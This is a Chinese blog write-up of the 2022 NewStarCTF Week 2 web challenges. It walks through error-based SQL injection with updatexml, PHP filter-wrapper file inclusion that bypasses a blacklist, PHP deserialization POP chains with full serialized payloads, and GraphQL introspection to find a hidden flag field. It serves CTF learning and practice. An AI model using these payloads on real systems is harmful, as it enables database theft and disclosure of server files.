[Writeup]2022 NewstarCTF_Week2(Web部分)

发布时间 2023-09-10 22:20:28作者: notbad3

一只网络安全菜鸟--(˙<>˙)/--
写博客主要是想记录一下自己的学习过程,过两年毕业了也能回头看看自己都学了些啥东西。
由于本人水平有限内容难免有错误、疏漏、逻辑不清、让人看不懂等各种问题,恳请大家批评指正
如果我写的东西能对你有一点点帮助,那真是再好不过了?。

2023 Newstar CTF就要开始了,在buuctf上把去年的题做了一下,虽然是新生赛但仍有挺多我不知道的知识。。感觉web我才走完几千分之一的路程

Word-For-You(2 Gen)

题目描述:哇哇哇,我把查询界面改了,现在你们不能从数据库中拿到东西了吧哈哈(不过为了调试的代码似乎忘记删除了
进入环境:
image
输个NewCTFer看看啥情况:
image
看样子只会显示能否查询成功,随便输个viper验证一下:
image
看下引号是怎么包裹的:NewCTFer'#
image
单引号包裹,像第一题一样试试NewCTFer'or'1=1,哈哈:
image
虽然不回显内容,但看下会不会报错?
NewCTFer'or'1=1'
image
不回显是啥内容但显示报错信息,有点像极客大挑战2019那道hardSQL题,先找注入点再用下updatexml看行不行:
image
image
猜测上面那个name是注入点,输个NewCTFer'%23看看啥情况:
image
OK,注入点现在也找到了,输个NewCTFer'and updatexml(1,concat(0x7e,database(),0x7e),1)%23
image
有报错但被挡住了,右键看下源码:
image
当前数据库是wfy,爆表:
and updatexml(1,concat(0x7e,(select (group_concat(table_name)) from information_schema.tables where table_schema=database())),1)%23
注意括号的个数,hardSQL那道题因为过滤了空格(用括号代替)和等号(用like代替),一大堆括号直接把我搞晕了(◎ロ◎;)
image
image
存在wfy_admin,wfy_comments,wfy_info这三个表,先看下admin那里有啥东西:
name=NewCTFer' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='wfy_admin')),1)%23
image
?name=NewCTFer' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='wfy_comments')),1)%23
image
info里面没啥东西,看着两个表里的信息(week_1中flag藏在留言里,所以还是去找留言里有没有藏flag,就是这个text字段):
22' and updatexml(1,concat(0x7e,(select ((text)) from wfy_comments limit 0,1 )),1)%23
一列一列找,最后发现flag藏在第12列
and updatexml(1,concat(0x7e,(select ((text)) from wfy_comments limit 11,1 )),1)%23
flag:flag{Ju4t_m2ke_some_err0rs}
去网上找了下别人的wp,也可以用group_concat将所有列合成一列然后直接reverse找flag:
updatexml(1,concat(0x7e,(select reverse (group_concat(text)) from wfy_comments limit 0,1 )),1)%23
image
最后补充一下我前面出错的地方:因为updatexml函数最多显示32位,~(0x7e)这东西占了一位。所以并不存在wfy_info这个表,因为它没显示完全,想让他显示完全可以构造如下payload,一行一行的看表名
22' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database()limit 2,1)),1)%23

或者:group_concat这东西是把所有消息都拼成一行然后显示,如果和updatexml结合挺容易发生信息显示不全,可以用substring截取:
updatexml(1,concat(0x7e,substring((select (table_name) from information_schema.tables where table_schema=database()limit 0,1),3)),1)%23//从0开始,截取第三位及以后的
image
and updatexml(1,concat(0x7e,substring((select (group_concat(table_name)) from information_schema.tables where table_schema=database()),9)),1)%23
image

IncludeOne

进入环境:

 <?php
highlight_file(__FILE__);  //高亮当前代码
error_reporting(0);
include("seed.php");  //包含
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";  //mt_rand已给出
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){ //POST传参且guess被定义、hash后和md5的(mt_rand)强等于  
    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`//file这东西不能带base也不能带..,而且里面一定要有NewStar,而且file要被定义
        include($_GET['file']); //包含file
    }else{
        echo "Baby Hacker?";
    }
}else{
    echo "No Hacker!";
} Hint: 1219893521   //Hint值已给出
No Hacker!

出题人还给了一个附加文件,估计和MD5碰撞有关系?:
下载下来看看页面介绍还有ERADME为文件:
image
image
我理解这东西可以根据给定mt_rand()的值去找对应mt_srand的值(很可能不止一个),再根据某个mt_srand()又可能得到多个mt_rand()的值。
看下这东西咋用的:
image
$ time ./php_mt_seed 1328851649//这里是mt_rand的值
gcc php_mt_seed.c -o php_mt_seed编译完去Linux上运行一下:
image
出来个1145146,利用这个mt_srand(1145146)去找echo mt_rand():


<?php
    $a = mt_srand(1145146);
    echo mt_rand();
    echo "<br>";
    echo mt_rand();
    echo "<br>";
    ;
//结果:
1219893521
1202031004
?>

POST传参:
image
echo 了Baby Hacker? 继续下一步:
题目提示flag 在flag.php里,还提示了include,想到用php伪协议读源码:
?file=php://filter/convert.base64-encode/resource=flag.php
不过这题把base64和..过滤掉了,而且要求file里必须有NewStar就不知道怎么做了,网上看了下wp,感谢这位师傅:
https://blog.csdn.net/Jayjay___/article/details/132562801 和 https://blog.csdn.net/m0_64815693/article/details/127116807?ops_request_misc=&request_id=&biz_id=102&utm_term=Word-For-You(2%20Gen)&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-3-127116807.nonecase&spm=1018.2226.3001.4187
不让用base64可以用rot13读,NewStar这东西可以用个自定义过滤器名称解决:

?file=php://filter/NewStar/read=string.rot13/resource=flag.php
?file=php://filter/|NewStar|/read=string.rot13/resource=flag.php
也可以改成//filter/read=string.rot13|NewStar|/resource=flag.php
`

PHP://filter/read=string.rot13|NewStar|/resource=flag.php
看下源码,发现:
`?cuc //synt{o36rr9os-252o-4qs1-809r-no8qr9146161}`
rot13解码,得到flag。

UnserializeOne

<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

反序列化做的题比较少,上网搜了一下这种题型好像叫pop链构造?第一次做这种题,参考了这几位师傅的wp,感谢:

https://blog.csdn.net/qq_62046696/article/details/127154063?spm=1001.2014.3001.5506
https://blog.csdn.net/m0_64815693/article/details/127116807?spm=1001.2014.3001.5506
https://blog.csdn.net/m0_62422842/article/details/123988229?spm=1001.2014.3001.5506

链子构造如下:

<?php
class Start{
    public $name;
    public $func;
}
class Sec{
    public $obj;  //注意,所有属性均要改成public型的,私有属性没办法从类的外部访问。下同
	public $var;
}
class Easy{
    public $cla;
}
class eeee{
    public $obj;
}
$a = new Start();//我是从destruct魔术方法开头,因为该魔术方法在对象被销毁时自动调用
$b = new Sec();//
$c = new Easy();
$d = new eeee();
$e = new Start();
$f = new Sec();
$a->name=$b;//类的实例被当字符串,调用tostring函数
$b->obj=$c;//对象调用一个不可访问的方法,调用Easy实例中的call函数
$b->var=$d;//调用eeee中的clone方法
$d->obj=$e;//调用start中的isset
$e->func=$f;调用 Sec中的invoke
$abc = serialize($a);
echo $abc;
?>

关于构造链子的方法在下面一道题详细说了我的想法,这道题就简单写了。
可以通过下面这个代码看看我们的目标函数invoke有没有执行:

<?php
class Start{
    public $name;
    public $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    public $obj;
    public $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo'thats real shit in 2023';//把Invoke函数改成这个是要根据回显看invoke函数有没有执行.
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}
$a = new Start();
$b = new Sec();
$c = new Easy();
$d = new eeee();
$e = new Start();
$f = new Sec();
$a->name=$b;
$b->obj=$c;
$b->var=$d;
$d->obj=$e;
$e->func=$f;
$abc = serialize($a);
echo $abc;
?>

回显:
image
OK没啥毛病
序列化结果:
O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}
后面直接post传参,pop=上面那个就行了:
image

再补充一道pop链的题:

[MRCTF2020]Ezpop

进环境:

Welcome to index.php
<?php
//flag is in flag.php //最终的目标是读这东西
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {   //modifier类
    protected  $var;
    public function append($value){  //想办法利用这个函数包含
        include($value);
    }
    public function __invoke(){   //类被当成函数调用时会触发此函数
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){ //类被当成字符串调用时触发此函数
        return $this->str->source;
    }

    public function __wakeup(){  //反序列化对象自动调用此函数
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){  //访问不可访问或不存在的属性时调用此函数
        $function = $this->p;  //函数
        return $function();
    }
}

if(isset($_GET['pop'])){  //get传参pop,反序列化pop
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

我个人理解pop链这东西就像攀岩,不光要到达目标(我们要执行的函数),还要利用一些合适我们的方法(函数)实现我们的目标。在攀岩时我们要先看看我们的起点,再看终点,再决定我们采用我们的方法。
这题我们开始肯定要GET方式传个pop,那这个pop就是我们的起点。我们的目标是通过class Modifier()中的include()函数读取flag.php的源码。确定开头和结尾后开始计划中间要怎么走:
首先是__wakeup函数,这东西反序列化对象时自动调用,我们可以让它成为链子的第二节。再往后找:class Show下有个__tostring函数,类被当字符串调用时会触发。(比如echo接个类实例)。_wakeup函数里正则匹配的目标肯定是个字符串。那我们就让source再等于一个Show类的实例去调用该Show类底下的tostring函数。(意味着要有两个Show类的实例)。接下来我们可以有两个想法:要么想办法发调用get函数(访问一个不可访问/不存在的属性)要么想办法调用invoke函数(类被当成函数调用)。在tostring函数下有这么个东西:
$this->$str->source//访问当前对象str->source属性
可以通过这个调用get函数,比如让str赋值一个TEST类的实例,TEST实例并没有source属性,因此会调用get函数。我们可以让get函数中的p等于一个Modifier类的实例,这样就能调用__invoke()函数,达到我们的目的:调用include函数读flag.php的源码。
写了一大段。。。感觉写出来的逻辑还是不太清晰(◎ロ◎;)
接下来构造我们要反序列化的东西,也就是给pop传什么参数:

<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
	public $source;
	public $str;
	function _construct(){
		$this->source=$file;
	}
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    } 
}
$a = new Show();
$b = new Show();
$c = new Test();
$d = new Modifier();

$a->source = $b;//调用b实例中的tostring函数
$b->str= $c;//调用c实例中的get函数
$c->p = $d;//调用d实例中的invoke函数
echo urlencode(serialize($a)); //注意这里要用url编码
?>

payload:
/?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
image
base64解码:
image
得到flag。

ezAPI

image
输入框只给输入,有点别的东西就提示Hacker,右键看源码好像也没啥有价值的东西?直接dirsearch扫下看有啥东西没:
image
有个www.zip,源码文件打开:
image

<?php
     error_reporting(0);
     $id = $_POST['id'];//post方法传id
     function waf($str) //waf,看看都过滤了啥
   {
if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "")//如果str不是数字或把数字替换成空格后不为空,就return False。 {
                        return False;
                    } else {
                        return True;
                    }
                }

                function send($data)
                {
                    $options = array(
                        'http' => array(
                            'method' => 'POST',
                            'header' => 'Content-type: application/json',
                            'content' => $data,
                            'timeout' => 10 * 60
                        )
                    );
                    $context = stream_context_create($options);
                    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);//????
                    return $result;
                }

                if (isset($id)) {
                    if (waf($id)) {
                        isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';//data可控,可以看下这个请求的格式
                        $res = json_decode(send($data));
                        if ($res->data->users_user_by_pk->name !== NULL) {
                            echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;  //这东西是显示的数据,后面 查询要把它换成flag之类的
                        } else {
                            echo "<b>Can't found it!</b><br><br>DEBUG: ";
                            var_dump($res->data);
                        }
                    } else {
                        die("<b>Hacker! Only Number!</b>");
                    }
                } else {
                    die("<b>No Data?</b>");
                }
?>

这题不会做。。直接去网上看了wp,感谢这位师傅:
https://blog.csdn.net/wy_97/article/details/110522150
这是道有关graphql的题目。我是第一次接触,这东西是个啥可以看这位师傅的文章,很详细:
https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ

$data = '{"query":"query{
users_user_by_pk(id:' . $id . ') {
name
}
}
", "variables":null}'//接口查询格式类似这种

这东西还有一个查询所有接口的playload:
{"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null}
因为data是可控的(POST传参),直接burpsuite抓包POSTdata=这一串数据,不过他这个有个前提是isset($id),现在查询框随便输个数字然后抓包加data数据段:
image
回显:
image
找和flag有关的信息,发现有个:
image
image
ffffllllaaagggg_1n_h3r3_flag多次重复,这东西好像是个接口名?根据index.php里data查询的格式写个查询ffffllllaaagggg_1n_h3r3_flag的:
&data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag {\nflag\n}\n}\n", "variables":null}
注意这里我们不需要再重复给id赋值,因为它已经有值了,ffffllllaaagggg_1n_h3r3_flag是接口名,flag是字段名,直接抓包改:
image